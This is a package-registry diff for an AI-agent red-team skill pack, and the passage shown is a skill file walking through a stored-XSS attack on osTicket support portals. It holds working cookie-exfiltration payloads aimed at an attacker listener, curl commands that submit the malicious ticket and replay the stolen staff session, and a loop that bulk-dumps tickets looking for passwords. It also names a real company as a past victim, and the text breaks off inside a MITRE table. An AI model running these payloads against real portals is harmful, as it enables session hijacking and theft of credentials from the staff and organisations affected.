rtexit-method 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. package/package.json +2 -5
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/lib/asset-manifest.js +10 -5
  202. package/tools/installer/lib/copy-assets.js +5 -2
  203. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  204. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  205. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  206. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  207. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  210. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  211. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  212. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  213. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  214. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  215. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  216. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  217. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  218. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  219. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,449 @@
1
+ ---
2
+ name: rt-scenario-w003
3
+ description: "W-003: Stored XSS → IT Staff Session Hijack → Internal Data Access. Domain: web. Attack chain: find ticket portal → submit XSS payload → IT staff opens ticket → cookie stolen → login as staff → read all internal tickets. MITRE: T1059.007 → T1539 → T1078. Real example: Almentor: osTicket /open.php → XSS in subject → IT staff cookie → server passwords in tickets"
4
+ ---
5
+
6
+ # W-003: Stored XSS → IT Staff Session Hijack → Internal Data Access
7
+
8
+ ## Overview
9
+
10
+ | Property | Value |
11
+ |---|---|
12
+ | Attack Objective | Steal IT staff session cookies via stored XSS in a support ticket portal, then impersonate staff to read all internal tickets (which may contain credentials, server passwords, and sensitive infrastructure data) |
13
+ | Required Access Level | None (unauthenticated — attacker only needs the ability to submit a support ticket) |
14
+ | Estimated Time to Execute | 30–90 minutes from initial reconnaissance to session hijack |
15
+ | Detection Risk Level | Low (XSS payload fires client-side; no server-side anomaly until the stolen session is used) |
16
+
17
+ ---
18
+
19
+ ## Prerequisites
20
+
21
+ ### Required Tools
22
+
23
+ ```bash
24
+ # Netcat — cookie exfiltration listener
25
+ sudo apt install netcat-traditional -y
26
+
27
+ # Alternatively, use ngrok for public HTTPS callback URL
28
+ curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
29
+ echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list
30
+ sudo apt update && sudo apt install ngrok
31
+
32
+ # BurpSuite Community (optional — for payload crafting and request interception)
33
+ # Download from: https://portswigger.net/burp/communitydownload
34
+
35
+ # curl — for ticket submission and session replay
36
+ sudo apt install curl -y
37
+
38
+ # Python3 http.server — lightweight exfil listener alternative
39
+ python3 -m http.server 8888
40
+ ```
41
+
42
+ ### Required Conditions
43
+
44
+ - Public or intranet-accessible osTicket (or similar) support portal with a ticket submission endpoint
45
+ - No HttpOnly flag on session cookies (required for JavaScript cookie theft)
46
+ - XSS sink in a field rendered to IT staff without sanitisation (subject, message body, custom field)
47
+ - Attacker controls an HTTP/HTTPS endpoint reachable from the victim's browser (cookie exfil destination)
48
+
49
+ ### Skill Level
50
+
51
+ **INTERMEDIATE** — requires understanding of XSS payload construction, cookie exfiltration, and HTTP session replay. No exploit framework required.
52
+
53
+ ---
54
+
55
+ ## Attack Chain
56
+
57
+ ```
58
+ [ATTACKER]
59
+ |
60
+ |-- 1. DISCOVER ticket portal endpoint
61
+ | osTicket: /open.php, /support/, /helpdesk/
62
+ |
63
+ |-- 2. CRAFT stored XSS payload
64
+ | Inject <script> into ticket Subject or Body field
65
+ |
66
+ |-- 3. SUBMIT ticket
67
+ | POST /open.php — payload stored in database
68
+ |
69
+ |-- 4. WAIT for IT staff to open ticket
70
+ | Staff views ticket in /scp/tickets.php
71
+ | Payload fires in staff browser
72
+ |
73
+ |-- 5. RECEIVE stolen session cookie
74
+ | Exfil listener captures document.cookie via HTTP GET
75
+ |
76
+ |-- 6. REPLAY stolen session
77
+ | Use Set-Cookie header to authenticate as IT staff
78
+ |
79
+ |-- 7. READ all internal tickets
80
+ | Browse /scp/tickets.php — access all internal data
81
+ ```
82
+
83
+ ### MITRE ATT&CK Chain
84
+
85
+ | Phase | Technique |
86
+ |---|---|
87
+ | Payload Injection | T1059.007 — Command and Scripting Interpreter: JavaScript |
88
+ | Session Theft | T1539 — Steal Web Session Cookie |
89
+ | Account Access | T1078 — Valid Accounts |
90
+
91
+ ---
92
+
93
+ ## Step-by-Step Execution
94
+
95
+ ### Step 1 — Discover the Ticket Portal
96
+
97
+ **Objective:** Confirm the osTicket endpoint is publicly accessible and identify the submission form.
98
+
99
+ ```bash
100
+ # Probe the known osTicket paths
101
+ curl -s -o /dev/null -w "%{http_code}" https://TARGET/open.php
102
+ curl -s -o /dev/null -w "%{http_code}" https://TARGET/support/open.php
103
+ curl -s -o /dev/null -w "%{http_code}" https://TARGET/helpdesk/open.php
104
+
105
+ # Spider for ticket-related paths
106
+ gobuster dir -u https://TARGET -w /usr/share/wordlists/dirb/common.txt \
107
+ -x php,html --no-error -q | grep -i "ticket\|support\|open\|help"
108
+ ```
109
+
110
+ **Expected Output:**
111
+ ```
112
+ 200 → /open.php found
113
+ ```
114
+
115
+ **Fallback:** If gobuster finds nothing, check page source of the main site for links to `/support` or `/helpdesk`. Also try Shodan: `shodan search "osTicket" hostname:TARGET`.
116
+
117
+ ---
118
+
119
+ ### Step 2 — Start the Cookie Exfiltration Listener
120
+
121
+ **Objective:** Stand up a listener that will receive the stolen cookie.
122
+
123
+ ```bash
124
+ # Option A — netcat listener (works on same machine with port forwarding)
125
+ nc -lvnp 8888
126
+
127
+ # Option B — Python HTTP server (logs full GET requests including cookie param)
128
+ mkdir /tmp/xss-catch && cd /tmp/xss-catch
129
+ python3 -m http.server 8888
130
+
131
+ # Option C — ngrok public HTTPS tunnel (best for bypassing same-site restrictions)
132
+ ngrok http 8888
133
+ # Note the public URL: https://XXXX.ngrok.io
134
+ ```
135
+
136
+ **Expected Output (ngrok):**
137
+ ```
138
+ Forwarding https://abc123.ngrok.io -> http://localhost:8888
139
+ ```
140
+
141
+ Store your exfil URL:
142
+ ```bash
143
+ EXFIL_URL="https://abc123.ngrok.io"
144
+ ```
145
+
146
+ ---
147
+
148
+ ### Step 3 — Craft the XSS Payload
149
+
150
+ **Objective:** Build a JavaScript payload that exfiltrates the IT staff's session cookie to your listener.
151
+
152
+ **Basic payload (URL-safe):**
153
+ ```javascript
154
+ <script>new Image().src='EXFIL_URL/?c='+encodeURIComponent(document.cookie)</script>
155
+ ```
156
+
157
+ **Obfuscated payload (bypass naive filters):**
158
+ ```javascript
159
+ <img src=x onerror="fetch('EXFIL_URL/?c='+btoa(document.cookie))">
160
+ ```
161
+
162
+ **SVG-based payload (bypass tag filters):**
163
+ ```xml
164
+ <svg onload="var x=new XMLHttpRequest();x.open('GET','EXFIL_URL/?c='+document.cookie);x.send()">
165
+ ```
166
+
167
+ **Cookie + URL exfil (maximum context):**
168
+ ```javascript
169
+ <script>
170
+ var d=document.cookie;
171
+ var u=window.location.href;
172
+ new Image().src='EXFIL_URL/?c='+encodeURIComponent(d)+'&u='+encodeURIComponent(u);
173
+ </script>
174
+ ```
175
+
176
+ Replace `EXFIL_URL` with your ngrok/netcat endpoint before use.
177
+
178
+ ---
179
+
180
+ ### Step 4 — Submit the Malicious Ticket
181
+
182
+ **Objective:** Store the XSS payload in a field rendered to IT staff.
183
+
184
+ **Option A — Browser (manual):**
185
+
186
+ 1. Navigate to `https://TARGET/open.php`
187
+ 2. Fill in required fields (name, email — use disposable details)
188
+ 3. In the **Subject** field, paste your XSS payload
189
+ 4. If the subject is length-restricted, try the **Message Body** or any custom field
190
+ 5. Submit the ticket
191
+
192
+ **Option B — curl (scripted):**
193
+
194
+ ```bash
195
+ curl -s -X POST "https://TARGET/open.php" \
196
+ -H "Content-Type: application/x-www-form-urlencoded" \
197
+ --data-urlencode "name=John Smith" \
198
+ --data-urlencode "email=john.smith.test@mailinator.com" \
199
+ --data-urlencode "subject=<script>new Image().src='${EXFIL_URL}/?c='+encodeURIComponent(document.cookie)</script>" \
200
+ --data-urlencode "message=I need assistance with my account access." \
201
+ --data-urlencode "topicId=1"
202
+ ```
203
+
204
+ **Expected Output:**
205
+ ```
206
+ HTTP 200 or redirect to ticket confirmation page
207
+ Ticket #XXXX created
208
+ ```
209
+
210
+ **Fallback:** If the Subject field is sanitised, try:
211
+ - Message body (rich-text editors often allow raw HTML)
212
+ - Custom fields (phone, company name)
213
+ - Attachment filename (some portals render filenames)
214
+ - Use double-encoding: `%3Cscript%3E...` if the server decodes once before storing
215
+
216
+ ---
217
+
218
+ ### Step 5 — Wait for IT Staff to Open the Ticket
219
+
220
+ **Objective:** The payload fires automatically when any IT staff member views the ticket in the staff control panel.
221
+
222
+ osTicket staff view paths:
223
+ - `/scp/tickets.php` — ticket list
224
+ - `/scp/tickets.php?id=TICKET_ID` — individual ticket view
225
+
226
+ Typical response time: minutes to hours depending on support SLA.
227
+
228
+ Monitor your exfil listener:
229
+
230
+ ```bash
231
+ # If using Python http.server, watch the log:
232
+ # 192.168.1.x - - [DATE] "GET /?c=COOKIE_VALUE HTTP/1.1" 200 -
233
+
234
+ # If using ngrok web UI:
235
+ open http://127.0.0.1:4040
236
+ ```
237
+
238
+ **Expected Output (listener receives):**
239
+ ```
240
+ GET /?c=OSTSESSID%3Dabc123def456; Path=/; ... HTTP/1.1
241
+ ```
242
+
243
+ ---
244
+
245
+ ### Step 6 — Extract and Replay the Stolen Cookie
246
+
247
+ **Objective:** Use the stolen session cookie to authenticate as the IT staff member.
248
+
249
+ ```bash
250
+ # Decode the captured cookie value
251
+ python3 -c "import urllib.parse; print(urllib.parse.unquote('ENCODED_COOKIE_VALUE'))"
252
+
253
+ # Store the clean cookie
254
+ STOLEN_COOKIE="OSTSESSID=abc123def456"
255
+
256
+ # Verify session is valid — should return the staff dashboard
257
+ curl -s -b "$STOLEN_COOKIE" "https://TARGET/scp/index.php" | grep -i "welcome\|dashboard\|logged"
258
+ ```
259
+
260
+ **Expected Output:**
261
+ ```html
262
+ <h1>Welcome, IT Admin</h1>
263
+ <!-- or any authenticated staff page content -->
264
+ ```
265
+
266
+ **Fallback:** If the session has expired, wait for the IT staff member to re-open the ticket (re-trigger the payload). Alternatively, try other cookies captured in the same request.
267
+
268
+ ---
269
+
270
+ ### Step 7 — Access All Internal Tickets
271
+
272
+ **Objective:** Read all internal support tickets, searching for sensitive data such as server passwords, credentials, and infrastructure details.
273
+
274
+ ```bash
275
+ # List all tickets (staff view)
276
+ curl -s -b "$STOLEN_COOKIE" "https://TARGET/scp/tickets.php" | \
277
+ grep -oP 'tickets\.php\?id=\d+' | sort -u
278
+
279
+ # Read a specific ticket
280
+ curl -s -b "$STOLEN_COOKIE" "https://TARGET/scp/tickets.php?id=1234" | \
281
+ python3 -m html.parser 2>/dev/null || \
282
+ python3 -c "import sys,html; [print(html.unescape(l)) for l in sys.stdin]"
283
+
284
+ # Automated bulk ticket dump
285
+ for ID in $(seq 1 500); do
286
+ CONTENT=$(curl -s -b "$STOLEN_COOKIE" "https://TARGET/scp/tickets.php?id=$ID")
287
+ if echo "$CONTENT" | grep -qi "password\|credential\|secret\|server\|ssh\|root\|admin"; then
288
+ echo "=== TICKET $ID (SENSITIVE) ===" >> /tmp/sensitive_tickets.txt
289
+ echo "$CONTENT" >> /tmp/sensitive_tickets.txt
290
+ fi
291
+ done
292
+
293
+ echo "Sensitive tickets saved to /tmp/sensitive_tickets.txt"
294
+ ```
295
+
296
+ **Expected Output:**
297
+ - Ticket contents including email threads, staff notes, and attachments
298
+ - Possible high-value finds: server credentials, VPN passwords, SSH keys pasted into tickets, internal IP addresses, API keys
299
+
300
+ ---
301
+
302
+ ## Real-World Reference
303
+
304
+ **Target:** Almentor (almentor.net)
305
+ **Platform:** osTicket (customer support portal)
306
+ **Vulnerable endpoint:** `/open.php` (unauthenticated ticket submission)
307
+ **Vulnerable field:** Ticket Subject — rendered unsanitised in IT staff panel
308
+ **Attack outcome:**
309
+ - Submitted a ticket with an XSS payload in the Subject field
310
+ - IT staff opened the ticket in `/scp/tickets.php`
311
+ - JavaScript executed in the IT staff's browser, exfiltrating their `OSTSESSID` cookie
312
+ - Session replayed to authenticate as IT staff
313
+ - Internal ticket history accessed — tickets contained server passwords, database credentials, and internal infrastructure notes
314
+
315
+ This is a zero-click attack from the attacker's perspective: no user interaction is required beyond submitting the ticket.
316
+
317
+ ---
318
+
319
+ ## MITRE ATT&CK Mapping
320
+
321
+ | Step | Tactic | Technique ID | Technique Name | Sub-technique |
322
+ |---|---|---|---|---|
323
+ | 1. Discover ticket portal | Reconnaissance | T1595.003 | Active Scanning: Wordlist Scanning | — |
324
+ | 2. Craft XSS payload | Execution | T1059.007 | Command and Scripting Interpreter | JavaScript |
325
